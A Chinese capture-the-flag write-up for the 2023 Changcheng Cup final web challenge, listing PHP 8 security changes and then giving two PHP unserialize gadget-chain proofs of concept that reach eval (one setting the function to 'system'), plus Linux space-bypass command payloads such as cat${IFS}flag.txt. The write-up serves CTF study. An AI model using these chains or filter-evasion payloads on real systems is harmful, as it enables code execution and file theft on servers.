长城杯决赛WEB 2023

首先感谢感谢glan师傅供题

这题是在php8的版本下,首先去了解一下php8和之前版本的区别

P神文章:https://www.leavesongs.com/PHP/php-8-0-release.html

作为安全研究者,我会更关注的是和安全相关的改动。除了前面提到了弱类型方面的改动外,PHP 8还进行了如下一些和安全相关的改动:

  • assert()不再支持执行代码,少了一个执行任意代码的函数,这个影响还是挺大的。

  • create_function()函数被彻底移除了,我们又少了一个可以执行任意代码的函数。

  • libxml依赖最低2.9.0起,也就是说,XXE漏洞彻底消失在PHP里了。

  • preg_replace()中的e模式被移除后,mb_ereg_replace()中的e模式也被彻底移除,再次少了一个执行任意代码的函数。

  • Phar中的元信息不再自动进行反序列化了,phar://触发反序列化的姿势也告别了。

  • parse_str()必须传入第二个参数了,少了一种全局变量覆盖的方法。

  • php://filter中的string.strip_tags被移除了,我在文章《谈一谈php://filter的妙用》中提到的去除死亡exit的方法之一也就失效了。

  • strpos()等函数中的参数必须要传入字符串了,以前通过传入数组进行弱类型利用的方法也失效了。

    POC链:

    <?php
    highlight_file(__FILE__);
    function getflag(string $name,int $pass){
        if($name=="ctf"&$pass==2022){
            echo file_get_contents("/flag");
        }
    }
    function noflag(string $name,int $pass){
        echo("noflag here");
    }
    class ctf{
        public $name = "getflag";
    
        public function __construct(){
        }
        public function __wakeup(){
            $this->name = "noflag";
        }
        public function __call($fun,$arg){
            if($fun=="wantflag"){
                if(preg_match("/^[a-z0-9,_.\[\]\']+$/i", $arg[0])){
                    if(strlen(explode(",",$arg[0])[0])>8){
                        echo "success";
                        $func = $this->name."(".$arg[0].");";
                        var_dump($func);
                        eval($func);
                    }
                }
            }
    
        }
    
    }
    
    class export{
        public $clazz = "";
        public $args = "";
        public function __construct(){
    
        }
        public function __destruct(){
            $this->clazz->wantflag($this->args);
        }
    }
    
    var_dump(preg_match("/^[a-z0-9,_.\[\]\']+$/i", "ls"));
    $data = new export;
    $a = new ctf;
    $data->clazz = $a;
    $a->name = 'system';
    $data -> args = "'l''''''''s'";
    echo serialize($data);
    unserialize($data);
    

    这里可以执行代码控制,控制执行任意函数,第二个参数有限制,但是应该可以绕过

    函数为readfile,参数为flag

    第二种姿势Fast Destruct(预期解):

    <?php
    highlight_file(__FILE__);
    error_reporting(0);
    function getflag(string $name,int $pass){
        echo "winwin";
        if($name=="ctf"&$pass==2022){
            echo file_get_contents("/flag");
        }
    }
    function noflag(string $name,int $pass){
        echo("noflag here");
    }
    class ctf{
        public $name = "getflag";
    
        public function __destruct(){
            echo "do";
        }
    
        public function __wakeup(){
            echo "poc";
            $this->name = "noflag";
        }
        public function __call($fun,$arg){
            if($fun=="wantflag"){
                if(preg_match("/^[a-z0-9,_.\[\]\']+$/i", $arg[0])){
                    var_dump(explode(",",$arg[0]));
                    if(strlen(explode(",",$arg[0])[0])>8){
                        $func = $this->name."(".$arg[0].");";
                        var_dump($func);
                        eval($func);
                    }
                }
            }
    
        }
    
    }
    
    class export{
        public $clazz = "";
        public $args = "";
    
        public function __construct(){
    
        }
        public function __destruct(){
            $this->clazz->wantflag($this->args);
        }
    }
    $data = new export;
    $a = new ctf;
    $data->clazz = $a;
    $data -> args = "'c'.'t'.'f',2022";
    

    在linux下绕过空格,虽然这个姿势没用到,但是还是记录一下吧

    cat flag.txt
    cat${IFS}flag.txt
    cat$IFS$9flag.txt
    cat<flag.txt
    cat<>flag.txt